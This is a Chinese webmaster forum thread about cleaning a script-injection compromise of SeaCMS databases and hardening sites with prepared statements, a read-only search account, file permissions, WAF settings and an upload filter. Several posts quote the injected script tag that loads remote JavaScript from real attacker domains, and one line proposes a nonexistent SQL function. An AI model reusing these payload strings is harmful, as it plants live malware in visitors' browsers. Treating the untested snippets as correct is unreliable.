★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法(2019.4.20更新 数据库读写分离)

nohacks 13天前 2047


首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

目前不知道攻击者是针对SQL注入还是search.php的模版if标签注入问题(目前看来是后者)。

如果是前者,我这里提供一个预处理机制的代码,可以防止SQL注入,后者目前有效的杜绝方法是数据库读写分离。

/include/sql.class.php 类 添加下面方法:

	//以PDO 预处理查询,可防止SQL注入
	function QueryPdo($sql='',$param=null)
	{
	
		if(!empty($sql))
		{
			 $this->SetQuery($sql);
		}
	
         $dsn="mysql:host=".$this->dbHost.";dbname=".$this->dbName;
      
     try {
          $dbh = new PDO($dsn, $this->dbUser, $this->dbPwd); //初始化一个PDO对象
          //$dbh = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
       } catch (PDOException $e) {
         die ("Error!: " . $e->getMessage() . "<br/>");
        }
        $stmt = $dbh->prepare($sql);
        if( $stmt->execute($param)){$row = $stmt->fetchall();}else{ $row=false;}
      $dbh=null;
     return $row;
	}


对应调用代码也需要修改,例如: search.php 修改为下面的代码:

switch (intval($searchtype)) {
case -1:
$whereStr=" where v_recycled=0 and (v_name like ? or v_actor like ? or v_director like ? or v_publisharea like ? or v_publishyear like ? or v_letter=? or v_tags=? or v_nickname like ?)";
    $parm=array("%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%","%$searchword%");
        break;
case 0:
$whereStr=" where v_recycled=0 and v_name like ?";
            $parm=array("%$searchword%");
break;
case 1:
$whereStr=" where v_recycled=0 and v_actor like ?";
            $parm=array("%$searchword%");
break;
case 2:
$whereStr=" where v_recycled=0 and v_publisharea like ?";
             $parm=array("%$searchword%");
break;
case 3:
$whereStr=" where v_recycled=0 and v_publishyear like ?";
              $parm=array("%$searchword%");
break;
case 4:
$whereStr=" where v_recycled=0 and v_letter=?";
              $parm=array(strtoupper($searchword));
break;
case 5:
            $parm=array();
$whereStr=" where v_recycled=0";
if(!empty($tid)) {$whereStr.=" and (tid in(".getTypeId($tid).") or FIND_IN_SET(?,v_extratype)<>0)";array_push( $parm,$tid);}
if($year=="more")
{
$publishyeartxt=sea_DATA."/admin/publishyear.txt";
$publishyear = array();
if(filesize($publishyeartxt)>0)
{
$publishyear = file($publishyeartxt);
}
$yearArray=$publishyear;
$yeartxt= implode(',',$yearArray);
$whereStr.=" and v_publishyear not in ($yeartxt)" 
}
if(!empty($year) AND $year!="more"){$whereStr.=" and v_publishyear=?";array_push( $parm,$year);}
if($letter=="0-9"){$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
if(!empty($letter) AND $letter!="0-9"){$whereStr.=" and v_letter=?";array_push( $parm,$letter); }
if(!empty($area)) {$whereStr.=" and v_publisharea=?";array_push($parm,$area);}
if(!empty($yuyan)){$whereStr.=" and v_lang=?";array_push( $parm,$yuyan);}
if(!empty($jq)) {$whereStr.=" and v_jq like ?";array_push( $parm,"%$jq%");} 
if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
if($money=='s') $whereStr.=" and v_money !=0";
if($money=='m') $whereStr.=" and v_money=0";
if(!empty($ver)) {$whereStr.=" and v_ver=?";array_push( $parm,$ver);};
break;
}
    $sql="select count(*) as dd from sea_data ".$whereStr." limit 0,1;";
//$row = $dsql->GetOne($sql);
    $row = $dsql->QueryPdo($sql, $parm);
    if(is_array($row))
{
$TotalResult = $row[0]['dd'];
}
else
{
$TotalResult = 0;
}

注意事项:

1. 修改数据库密码

     修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

2. 删除安装目录(install)

       攻击者可利用安装目录进行攻击,所以安装完后务必删除。

3.  数据库的所有数据表引擎转为InnoDB

       将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。

4. 设置网站根目录权限为只读权限 555

    设置网站根目录权限为555,然后设置data,xml及uploads目录的读写权限为755,index.html,top.html,new.html等生成文件为755权限。

5. 开启网站防火墙

       这里只说下宝塔面板的设置,其他请自行查阅。

       网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:


http
    {
        include       mime.types;
	//include luawaf.conf;


去掉前面的注释符号 , 修改后变为:

http
    {
        include  mime.types;
	include luawaf.conf;


保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:

RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on" 
whiteModule="on" 
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60"

 表示开启所有防护,保存后重启nginx服务生效。

 如果嫌麻烦,可以用收费插件。

6. 服务器安装防护软件

    建议悬镜,云锁。

   

7. 数据库读写分离(搜索使用只读账号)

    频繁被挂马估计是search.php的问题,因此在找不到漏洞的情况下,作为最后防线,我们限制search.php使用只读权限操作数据库就可以禁止数据库挂马而不影响系统其他功能。

  1. 创建新数据库配置文件 "data.inc.php"

        复制"/data/common.inc.php"并重命名为data.inc.php

   2. 创建新的数据库只读账号并赋值

         数据库- phpMyAdmin-账户 新建一个账户 数据权限只打钩SELECT 

         修改"/data/data.inc.php"里账号密码配置为我们刚新建的账号密码。

  3.修改搜索使用数据库只读账号

        打开 "include/common.php",找到代码

//数据库配置文件
require_once(sea_DATA.'/common.inc.php');

修改为:

//智能加载数据库配置
if(preg_match('#/(.*?\.php)#',htmlentities($_SERVER['PHP_SELF']),$ref) && $ref[1] == "search.php"){require_once(sea_DATA.'/data.inc.php');}else{require_once(sea_DATA.'/common.inc.php');}

如果还是被挂马,说明不是search.php的问题,可采取下面更严厉的方案,只给自动入库数据库可写权限,其它一切只读权限(会导致部分功能失效,如:人气,推荐等):

//智能加载数据库配置
if(preg_match('#/(.*?\.php)#',htmlentities($_SERVER['PHP_SELF']),$ref) && $ref[1] == "admin_reslib2.php"){require_once(sea_DATA.'/common.inc.php');}else{require_once(sea_DATA.'/data.inc.php');}


8. 修复上传漏洞

   海洋CMS 9.8版本修复了一处安全漏洞,文件为“include/uploadsafe.inc.php”

修复后源码如下:


<?php
if(!defined('sea_INC'))
{
	exit("Request Error!");
}
if(isset($_FILES['GLOBALS']))
{
	exit('Request not allow!');
}
//为了防止用户通过注入的可能性改动了数据库 
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml|htm|html";
$imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");
$keyarr = array('name','type','tmp_name','size');
$fskey=array('(',')','<','>','%','0x','|',';','{','}','$','&','*','#','@','[',']');
foreach($_FILES as $_key=>$_value)
{
	foreach($keyarr as $k)
	{
		if(!isset($_FILES[$_key][$k]))
		{
			exit('Request Error!');
		}
	}
if(!filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)){$_SERVER['HTTP_CLIENT_IP']='0.0.0.0';}
if(!filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP)){$_SERVER['REMOTE_ADDR']='0.0.0.0';}	
if(!filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)){$_SERVER['HTTP_X_FORWARDED_FOR']='0.0.0.0';}		
//安全过滤  
$_FILES[$_key]['name']=str_ireplace($fskey,'',$_FILES[$_key]['name']);
$_FILES[$_key]['tmp_name']=str_ireplace($fskey,'',$_FILES[$_key]['tmp_name']);
$_SERVER['HTTP_COOKIE']=str_ireplace($fskey,'',$_SERVER['HTTP_COOKIE']);	
	$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
	${$_key.'_name'} = $_FILES[$_key]['name'];
	${$_key.'_type'} = $_FILES[$_key]['type'] = m_eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);
	${$_key.'_size'} = $_FILES[$_key]['size'] = m_ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
	//过滤类型
    if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
	{
			exit('Upload filetype not allow !');
	}
    //检测图片
     if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
     $image_dd = @getimagesize($$_key); if($image_dd == false){continue;}
     if (!is_array($image_dd)) {exit('Upload filetype not allow !');}
    }
	if(empty(${$_key.'_size'})){${$_key.'_size'} = @filesize($$_key);}
}
?>


保存后删除缓存即可。

测试站点: https://xymov.tv 

待续。。

最后于 1天前 被nohacks编辑 ,原因: 更新 数据库读写分离 修复bug
上传的附件:
最新回复 (48)
  • qkmy 13天前
    0 引用 2
    update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')
  • ss1238 13天前
    0 引用 3
    谢谢大神!我感觉这是有些人用心良苦。。。。
  • ss1238 13天前
    0 引用 4
    最近都是这个木马说明了什么?9.2到9.3被挂的特别多。。。大家升级注意
  • wujin1123 12天前
    0 引用 5
    居然和我的挂马是同一个代码
  • q5241521 12天前
    0 引用 6
    已按照你的方法测试,已经关掉数据库的锁定状态,3天后刷新结果
  • lengheima 11天前
    0 引用 7
    这样操作之后发现,会员中心不能用充值卡充值了
  • KingVstr 10天前
    0 引用 8
    请问上传的这个附件有用吗
  • nohacks 7天前
    0 引用 9
    lengheima 这样操作之后发现,会员中心不能用充值卡充值了
    官方已处理,升级到最新版即可
  • nohacks 7天前
    0 引用 10
    KingVstr 请问上传的这个附件有用吗
    当然
  • 0 引用 11
    感谢大神!!!
  • oy86866 7天前
    0 引用 12
    加油你是最棒的!
  • winbiz 7天前
    0 引用 13
    除了data及uploads目录还有index.html,top.html,new.html等生成文件为755权限,其它目录都是555吗?
  • nohacks 5天前
    0 引用 14
    winbiz 除了data及uploads目录还有index.html,top.html,new.html等生成文件为755权限,其它目录都是555吗?
    是的
  • pins8 5天前
    0 引用 15
    nohacks 是的
    完蛋 开启了防火墙 海洋搜索没有问题  苹果cms的搜索被拦截了 

    2个站在一个VPS上
  • nohacks 5天前
    0 引用 16

    可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”
    例如:zblog 需添加
    ^/zb_users/
    ^/zb_system/

    拦截日志"/www/wwwlogs/waf/里可以查看拦截路径。

  • pins8 5天前
    0 引用 17
    nohacks 可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”例如:zblog&nbsp;需添加^/zb_users/^/zb_system/拦 ...

    谢谢 我看看能不能改下苹果的搜索伪静态路径

    word press 后台编辑文章也会被拦截 痛苦

    还是把防火墙关了 太麻烦了

  • 多多 5天前
    0 引用 18
    谢谢大神
  • nohacks 5天前
    0 引用 19
    pins8 nohacks 可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”例如:zblog&amp;n ...
    postMatch="off" 

    可以关闭post保护或使用路径白名单
  • ltlt999 5天前
    0 引用 20
    这次挂马事件可以百分百肯定与search.php有关,我把这个文件里代码全部删除,3天没有再被挂马。
  • woshiren 5天前
    0 引用 21
    $_SERVER['PHP_SELF']这个变量是有bug的,楼主代码有问题啊!search.php后面跟参数你那个判断就失效了,一样会加载有写入权限的文件,所以改良代码:
    preg_match('/\/(.*?)\./',$_SERVER['PHP_SELF'],$ref);$refx=$ref[1].'.php';
    if($refx == "search.php"){
    require_once(sea_DATA.'/data.inc.php');
    }else{
    require_once(sea_DATA.'/common.inc.php');
    }
  • nohacks 5天前
    0 引用 22
    woshiren $_SERVER['PHP_SELF']这个变量是有bug的,楼主代码有问题啊!search.php后面跟参数你那个判断就失效了,一样会加载有写入权限的文件,所以改良代码: preg_match(' ...
    谢谢反馈,已修复。
  • nohacks 5天前
    0 引用 23
    ltlt999 这次挂马事件可以百分百肯定与search.php有关,我把这个文件里代码全部删除,3天没有再被挂马。
    哦 ,那么这个方案应该能解决这个问题
  • 1563920 5天前
    0 引用 24
    首先感谢楼主的分享。
    我在 系统:CentOS Linux   宝塔控制面板  用数据库读写分离办法   搜素电影时候提示 Error infos: seacms错误警告:连接数据库失败,可能数据库密码不对或数据库服务器出错!
    但我本机 Windows系统  phpstudy 搭建测试没有问题。
    请问下用宝塔控制面板的是不是还需要做其他的操作,创建用户的时候。
  • nohacks 5天前
    0 引用 25
    1563920 首先感谢楼主的分享。 我在 系统:CentOS Linux 宝塔控制面板 用数据库读写分离办法 搜素电影时候提示 Error infos: seacms错误警告:连接数据库失败,可能数据库 ...
    我测试站和你环境一样,测试无问题,没有什么特殊操作
    检查下操作步骤吧,估计是只读账户配置问题
  • 多多 5天前
    0 引用 26
    nohacks 大神  由衷的感谢你! 我代表所有受害的菜鸟站长对你表示最崇高的致敬!!!气人啊,1W6的站损失了一大半的IP,连我架设了2个新站都不放过。
  • nohacks 5天前
    0 引用 27

    呵呵,大神什么的不敢当啊,谢谢支持,感同身受,我也是受害者,只希望能解决问题。

  • 多多 5天前
    0 引用 28
    哎,就从海洋首页更换了之后,之前论坛关闭,天天挂马。
  • yeah9898 5天前
    0 引用 29
    nohacks,不是搜索文件,刚看你站你又被挂了....
  • 0 引用 30
    update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')
    请问这个代码如何在添加一个网址 就是如何一个代码同时替换多个网址
  • 0 引用 31
    感谢
  • nohacks 4天前
    0 引用 32
    wujin1123 update sea_data set v_pic = replace(v_pic,'">
    可以分2次执行,这个是搜索替换
  • nohacks 4天前
    0 引用 33
    yeah9898 nohacks,不是搜索文件,刚看你站你又被挂了....
    是被挂了,特别烦,看来只能允许 入库用 可写admin_reslib.php或admin_reslib2.php
  • 0 引用 34
    nohacks 可以分2次执行,这个是搜索替换
    不能一个代码整合吗
  • nohacks 4天前
    0 引用 35
    注意这个命令:
    update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

    你要搜索的内容是在同一字段内吗?'原本内容' 可以是多个网址,任意内容
  • 0 引用 36
    同一字段內容
    update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.77kp.me/data/admin/data.txt></script><a a="','')
    update sea_data set v_pic = replace
    (v_pic,'"></script><script/**/src=https://gitee.com/helensb123qaq/123/raw/master/velist.txt></script><a a="','')
    这两个代码怎么才能变成一个并且可以替换内容
  • nohacks 4天前
    0 引用 37

    好奇怪,既然是同一字段,你把数据库除图片外多出的内容替换就可以,不管几个网址,你贴个被挂的字段内容看看

  • nohacks 4天前
    0 引用 38
    wujin1123 我这个是软件自动替换的 软件是每隔几分钟就会帮我替换一次 所以我想整合多个网址成为一个代码   挂马的人会利用多个网址进行挂 所以软件无法用其它代码替换

    这个是支持用正则的

    update sea_data set v_pic = replace_replace
    (v_pic,'".*$','')

  • 0 引用 39
    nohacks wujin1123 我这个是软件自动替换的 软件是每隔几分钟就会帮我替换一次 所以我想整合多个网址成为一个代码 &nbsp; 挂马的人会利用多个网址进行挂 ...
    好的谢谢
  • 0 引用 40
    nohacks 好奇怪,既然是同一字段,你把数据库除图片外多出的内容替换就可以,不管几个网址,你贴个被挂的字段内容看看
    谢谢
  • nohacks 4天前
    0 引用 41
    wujin1123 谢谢
    貌似不行 ,不支持
  • 0 引用 42
    特别感谢我已经找到解决方案了
  • 多多 3天前
    0 引用 43
    不行,还是被挂马,这煞笔真正的针对性了。。不知道是论坛哪个脑残货
  • yeah9898 3天前
    0 引用 44
    9.8的还会挂吗?
  • 多多 3天前
    0 引用 45
    https://www.hukandy.com/
    https://www.dieka123.com/
    https://www.guojuren.com/
    https://www.726ys.com/
    https://www.diecuo.com/

    这几个站都是海洋,为什么没有被挂
  • nohacks 3天前
    0 引用 46
    多多 https://www.hukandy.com/ https://www.dieka123.com/ https://www.guojuren.com/ https://www.726ys.co ...
    测试站 也没有被挂
  • 多多 3天前
    0 引用 47
    nohacks 测试站 也没有被挂
    那完蛋了,他不挂你的了  挂我们的,你可以解决。。。还挺聪明的 这个垃圾黑帽
  • nohacks 3天前
    0 引用 48
    多多 那完蛋了,他不挂你的了  挂我们的,你可以解决。。。还挺聪明的 这个垃圾黑帽

    不是这个的原因,挂马应该是脚本全自动扫描的。

    你升级了9.8版本吗?貌似解决了被挂问题,不行就只给自动入库数据库可写权限。

    现在测试站是9.8 + 搜索 数据库只读权限 + 根目录555权限

返回
发新帖